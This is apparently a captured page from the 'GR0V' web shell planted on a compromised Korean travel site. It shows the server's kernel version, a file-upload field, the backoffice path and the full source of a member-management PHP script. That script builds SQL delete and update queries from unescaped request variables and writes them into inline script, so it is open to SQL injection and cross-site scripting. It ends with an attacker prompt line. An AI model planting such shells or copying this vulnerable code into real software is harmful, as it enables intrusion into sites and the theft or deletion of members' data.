? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/backoffice/process/
File Upload :
Current File : /home/admin/public_html/old/backoffice/process/send_member.php

<?php 
$root_path="../"; 
include($root_path."header.php"); 
$db_tm			=	new sql_db($dbhost, $dbuser, $dbpasswd, $dbname, false); 
$result			= $db_tm->sql_query("select * from $TB where 0"); 
$numfields		= $db_tm->sql_numfields($result); 
$first_fields		= $db_tm->sql_fieldname($offset=0,$result); 
$var_arr=array($id,$uid,$pwd,$name,$mobile,$email,$point); 
if($flag=="add"){ 
	$query_data=$db_tm->insert_data($TB,$result,$var_arr); 
	echo "<script>window.close();window.parent.opener.parent.basefrm.location.href='list_data.php?TB=$TB&TBTH=$TBTH&selitem=$selitem';</script>"; 
} 
if($flag=="edit"){ 
	$query_data=$db_tm->update_data($TB,$result,$var_arr,1,0); 
	echo "<script>document.location.href='member.php?TB=$TB&TBTH=$TBTH&selitem=$selitem&flag=$flag&index_data=$id`';</script>"; 
} 
if($flag=="del"){ 
	$del_arr=split('`',$index_data); 
	for($i=0;$i<sizeof($del_arr)-1;$i++){ 
		$sql_del	=	"delete from $TB where $first_fields ='".$del_arr[$i]."' "; 
		$result_del	=	$db_tm->sql_query($sql_del); 
	} 
	echo "<script>parent.arr_data.length=0;document.location.href='list_data.php?TB=$TB&TBTH=$TBTH&selitem=$selitem';</script>"; 
} 
?>

T1KUS90T
  root-grov@210.1.60.28:~$